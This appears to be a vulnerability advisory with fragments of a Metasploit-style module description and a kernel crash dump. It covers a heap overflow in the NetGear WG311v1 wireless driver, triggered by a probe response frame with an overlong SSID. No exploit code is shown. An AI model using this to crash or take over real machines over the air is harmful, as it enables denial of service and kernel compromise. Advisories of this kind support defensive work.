NetGear WG311v1 Wireless devices are prone to a heap-based buffer-overflow vulnerability because the driver fails to properly bounds-check user-supplied data before copying it into an insufficiently sized memory buffer. 

Exploiting this issue allows attackers to execute arbitrary machine code in the context of the kernel hosting the vulnerable driver. Failed attempts will likely crash the kernel, resulting in denial-of-service conditions.

Although the WG311v1ND5.SYS driver is used primarily on Microsoft Windows, users of Linux and BSD machines running the 'ndiswrapper' tool should determine if they are using a vulnerable instance of the driver.

Version 2.3.1.10 of the WG311v1ND5.SYS driver is vulnerable to this issue; other versions may also be affected.

			'Description'    => %q{
				This module exploits a buffer overflow in the NetGear WG311v1 wireless device
				driver under Windows XP and 2000. A kernel-mode heap overflow occurs
				when malformed probe response frame is received that contains a long SSID field
				
				This DoS was tested with version 2.3.1.10 of the WG311ND5.SYS driver and a 
				NetGear WG311v1 PCI card. A remote code execution module is also in development.

				This module depends on the Lorcon library and only works on the Linux platform
				with a supported wireless card. Please see the Ruby Lorcon documentation 
				(external/ruby-lorcon/README) for more information.

BAD_POOL_HEADER (19)
The pool is already corrupt at the time of the current request.
This may or may not be due to the caller.
The internal pool links must be walked to figure out a possible cause of
the problem, and then special pool applied to the suspect tags or the driver
verifier to a suspect driver.
Arguments:
Arg1: 00000020, a pool block header size is corrupt.
Arg2: 81cae7b0, The pool entry we were looking for within the page.
Arg3: 81cae8c8, The next pool entry.
Arg4: 0a23002b, (reserved)
